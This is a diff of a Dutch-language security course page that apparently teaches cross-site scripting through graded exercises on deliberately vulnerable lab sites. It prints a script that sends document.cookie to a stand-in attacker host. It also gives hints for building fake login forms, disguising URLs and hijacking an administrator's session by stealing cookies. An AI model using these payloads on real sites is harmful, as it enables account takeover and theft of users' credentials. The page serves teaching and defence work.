str = this.utf8_encode(str);
|
||||
x = convertToWordArray(str);
|
||||
a = 0x67452301;
|
||||
b = 0xEFCDAB89;
|
||||
c = 0x98BADCFE;
|
||||
d = 0x10325476;
|
||||
|
||||
xl = x.length;
|
||||
for (k = 0; k < xl; k += 16) {
|
||||
AA = a;
|
||||
BB = b;
|
||||
CC = c;
|
||||
DD = d;
|
||||
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
|
||||
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
|
||||
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
|
||||
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
|
||||
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
|
||||
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
|
||||
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
|
||||
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
|
||||
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
|
||||
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
|
||||
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
|
||||
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
|
||||
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
|
||||
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
|
||||
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
|
||||
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
|
||||
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
|
||||
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
|
||||
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
|
||||
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
|
||||
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
|
||||
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
|
||||
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
|
||||
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
|
||||
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
|
||||
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
|
||||
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
|
||||
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
|
||||
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
|
||||
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
|
||||
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
|
||||
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
|
||||
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
|
||||
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
|
||||
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
|
||||
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
|
||||
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
|
||||
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
|
||||
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
|
||||
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
|
||||
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
|
||||
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
|
||||
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
|
||||
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
|
||||
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
|
||||
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
|
||||
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
|
||||
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
|
||||
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
|
||||
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
|
||||
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
|
||||
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
|
||||
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
|
||||
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
|
||||
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
|
||||
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
|
||||
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
|
||||
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
|
||||
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
|
||||
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
|
||||
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
|
||||
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
|
||||
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
|
||||
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
|
||||
a = addUnsigned(a, AA);
|
||||
b = addUnsigned(b, BB);
|
||||
c = addUnsigned(c, CC);
|
||||
d = addUnsigned(d, DD);
|
||||
}
|
||||
</script> {% endblock %}
|
||||
|
||||
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
|
||||
|
||||
return temp.toLowerCase();
|
||||
}
|
||||
</script>
|
||||
{% endblock %}
|
||||
+136
-171
@@ -1,247 +1,212 @@
|
||||
{% extends 'base.html' %} {% block content %}
|
||||
<style>
|
||||
.screenshot {
|
||||
box-shadow: 0 0 15px #888;
|
||||
}
|
||||
{% extends "base.html" %}
|
||||
|
||||
figure {
|
||||
{% block content %}
|
||||
<style>
|
||||
.screenshot {
|
||||
box-shadow: 0 0 15px #888;
|
||||
}
|
||||
|
||||
figure {
|
||||
float: right;
|
||||
width: 30%;
|
||||
}
|
||||
}
|
||||
figure img {
|
||||
|
||||
figure img {}
|
||||
|
||||
figcaption {
|
||||
}
|
||||
figcaption {
|
||||
margin-top: 10px;
|
||||
font-size: smaller;
|
||||
color: gray;
|
||||
text-align: center;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<h1>Cross-site Scripting</h1>
|
||||
<h1>Cross-site Scripting</h1>
|
||||
|
||||
<figure>
|
||||
<img src="/static/img/rabobank.png" class="screenshot">
|
||||
<figcaption>Iemand heeft
|
||||
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
|
||||
</figure>
|
||||
<figure>
|
||||
<img src="/static/img/rabobank.png" class="screenshot">
|
||||
<figcaption>Iemand heeft <i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
|
||||
</figure>
|
||||
|
||||
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als
|
||||
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
|
||||
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script>
|
||||
tag kan toevoegen is er sprake van een XSS aanval.</p>
|
||||
<p>Deze week gaan we kijken naar cross-site scripting, op het web zie je dit vaak afgekort als <b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script> tag kan toevoegen is er sprake van een XSS aanval.</p>
|
||||
|
||||
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login
|
||||
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
|
||||
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
|
||||
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
|
||||
|
||||
<h3>Reflected</h3>
|
||||
<h3>Reflected</h3>
|
||||
|
||||
<figure>
|
||||
<img class="screenshot" src="/static/img/zoekterm.png">
|
||||
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
|
||||
</figure>
|
||||
<figure>
|
||||
<img class="screenshot" src="/static/img/zoekterm.png">
|
||||
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
|
||||
</figure>
|
||||
|
||||
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets
|
||||
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
|
||||
op de webpagina zelf.</p>
|
||||
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als op de webpagina zelf.</p>
|
||||
|
||||
|
||||
|
||||
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren
|
||||
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
|
||||
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
|
||||
The perfect crime!</p>
|
||||
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken. Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet. The perfect crime!</p>
|
||||
|
||||
<h3>Stored</h3>
|
||||
<h3>Stored</h3>
|
||||
|
||||
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een
|
||||
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
|
||||
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
|
||||
90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan
|
||||
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
|
||||
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's). En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n 90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
|
||||
|
||||
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te
|
||||
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
|
||||
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
|
||||
|
||||
<h3>Aanvallen</h3>
|
||||
<h3>Aanvallen</h3>
|
||||
|
||||
<h4>HTML toevoegen</h4>
|
||||
<h4>HTML toevoegen</h4>
|
||||
|
||||
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan
|
||||
een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
|
||||
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
|
||||
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
|
||||
|
||||
<h4>Javascript toevoegen</h4>
|
||||
<h4>Javascript toevoegen</h4>
|
||||
|
||||
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te
|
||||
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
|
||||
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
|
||||
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
|
||||
|
||||
<p>
|
||||
<code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code>
|
||||
</p>
|
||||
<p><code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code></p>
|
||||
|
||||
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site
|
||||
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
|
||||
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
|
||||
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
|
||||
|
||||
<h3>Countermeasures</h3>
|
||||
<h3>Countermeasures</h3>
|
||||
|
||||
<p>De belangrijkste regel bij websecurity is:
|
||||
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
|
||||
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
|
||||
je weer weergeeft op de pagina te
|
||||
<b>escapen</b>.</p>
|
||||
<p>De belangrijkste regel bij websecurity is: <b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die je weer weergeeft op de pagina te <b>escapen</b>.</p>
|
||||
|
||||
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities.
|
||||
<code>"</code> wordt dan bijvoorbeeld
|
||||
<code>&quot;</code> en
|
||||
<code><</code> wordt
|
||||
<code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
|
||||
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities. <code>"</code> wordt dan bijvoorbeeld <code>&quot;</code> en <code><</code> wordt <code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
|
||||
|
||||
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
|
||||
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
|
||||
|
||||
<p><code><script><b>gebruikersinvoer hier</b></script></p></code>
|
||||
|
||||
<code><script><b>gebruikersinvoer hier</b></script></p></code>
|
||||
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een bepaalde waarde te zetten.</p>
|
||||
|
||||
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het
|
||||
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
|
||||
bepaalde waarde te zetten.</p>
|
||||
<h1>Opdrachten</h1>
|
||||
|
||||
<h1>Opdrachten</h1>
|
||||
<p>Als je geen eigen site hebt mag je voor de opdrachten waar je informatie moet doorsturen naar een eigen site aannemen dat http://evil.avans.nl/ jouw site is (met uitzondering van de Nieuws opdracht).</p>
|
||||
|
||||
<h2>Bank</h2>
|
||||
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
|
||||
nog steeds niet veilig van hun beveiligingsproblemen.</p>
|
||||
<p>Voor de nieuws opdracht heb je een eigen website nodig. Als je niet een eigen website hebt kan je natuurlijk ook gebruik maken van de student.aii.avans.nl webruimte. Maar wellicht heb je al XAMPP of LAMP of WAMP geïnstalleerd.</p>
|
||||
|
||||
<p>Ga naar de
|
||||
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
|
||||
</p>
|
||||
<h2>Bank</h2>
|
||||
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze nog steeds niet veilig van hun beveiligingsproblemen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
|
||||
</div>
|
||||
<p>Ga naar de <span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere
|
||||
server gestuurd.</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
|
||||
{% include "points.html" with points=answers.answer_xss_add_alert.points max="5" %}
|
||||
<input class="question-input" type="url" name="answer_xss_add_alert" value="{{answers.answer_xss_add_alert.string}}">
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar jouw eigen website verstuurd! Je hoeft informatie nog niet op te vangen. Dat doe je straks wel!</span>
|
||||
{% include "points.html" with points=answers.answer_xss_fake_form.points max="10" %}
|
||||
<input class="question-input" type="url" name="answer_xss_fake_form" value="{{answers.answer_xss_fake_form.string}}">
|
||||
</div>
|
||||
|
||||
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje
|
||||
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
|
||||
{% include "points.html" with points=answers.answer_xss_fix_bank.points max="10" %}
|
||||
<textarea class="question-input" name="answer_xss_fix_bank">{{answers.answer_xss_fix_bank.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Zoek eens naar
|
||||
<code>window.history.pushState</code>.</p>
|
||||
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina
|
||||
komt te staan.</span>
|
||||
</div>
|
||||
<p class="hint"><strong>Hint:</strong> Zoek eens naar <code>window.history.pushState</code>.</p>
|
||||
|
||||
<h2>Webshop</h2>
|
||||
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde
|
||||
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
|
||||
<span class="website">"Webshop (replace)"</span>.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina komt te staan.</span>
|
||||
{% include "points.html" with points=answers.answer_xss_fake_form_fake_url.points max="10" %}
|
||||
<input class="question-input" type="url" name="answer_xss_fake_form_fake_url" value="{{answers.answer_xss_fake_form_fake_url.string}}">
|
||||
</div>
|
||||
|
||||
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
|
||||
<h2>Webshop</h2>
|
||||
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site <span class="website">"Webshop (replace)"</span>.</p>
|
||||
|
||||
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
|
||||
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
|
||||
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
|
||||
<p class="hint"><strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
|
||||
<p class="hint"><strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
|
||||
<p class="hint"><strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
|
||||
gebruiken moet je de url encoded versie gebruiken: %2B</p>
|
||||
<p class="hint"><strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
|
||||
</div>
|
||||
<p class="hint"><strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt gebruiken moet je de url encoded versie gebruiken: %2B</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Op
|
||||
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
|
||||
</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
|
||||
{% include "points.html" with points=answers.answer_xss_url_redirect.points max="10" %}
|
||||
<input class="question-input" type="url" name="answer_xss_url_redirect" value="{{answers.answer_xss_url_redirect.string}}">
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het
|
||||
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd.
|
||||
Let goed op de quotejes.</span>
|
||||
</div>
|
||||
<p class="hint"><strong>Hint:</strong> Op <a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a></p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2.
|
||||
PHP aanpassen (lees documentatie op
|
||||
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd. Let goed op de quotejes.</span>
|
||||
{% include "points.html" with points=answers.answer_xss_url_redirect_escape.points max="10" %}
|
||||
<input class="question-input" type="url" name="answer_xss_url_redirect_escape" value="{{answers.answer_xss_url_redirect_escape.string}}">
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2. PHP aanpassen (lees documentatie op <a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
|
||||
{% include "points.html" with points=answers.answer_xss_webshop_fix.points max="10" %}
|
||||
<textarea class="question-input" name="answer_xss_webshop_fix">{{answers.answer_xss_webshop_fix.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<h2>Nieuws</h2>
|
||||
|
||||
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de
|
||||
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
|
||||
<h2>Nieuws</h2>
|
||||
|
||||
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators
|
||||
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
|
||||
</p>
|
||||
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de <span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
|
||||
|
||||
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen
|
||||
server sturen om de opdracht te kunnen maken. Je kunt hiervoor
|
||||
<a href="https://requestb.in">Requestbin</a> gebruiken</p>
|
||||
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.</p>
|
||||
|
||||
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan
|
||||
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
|
||||
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen server sturen om de opdracht te kunnen maken. Zet op een eigen website een scriptje die alle requests in een bestandje/database logt zodat je daar later de cookies kunt uitlezen. Voorbeeld: student.aii.avans.nl/ICT/pwagener/logcookie.php?PHPSESSID=2394fh3dk</p>
|
||||
|
||||
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie
|
||||
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
|
||||
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
|
||||
|
||||
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
|
||||
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
|
||||
|
||||
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
|
||||
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
|
||||
|
||||
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
|
||||
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
|
||||
|
||||
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Welke reactie heb je geplaatst waardoor je achter de cookie van de administrator kwam?</span>
|
||||
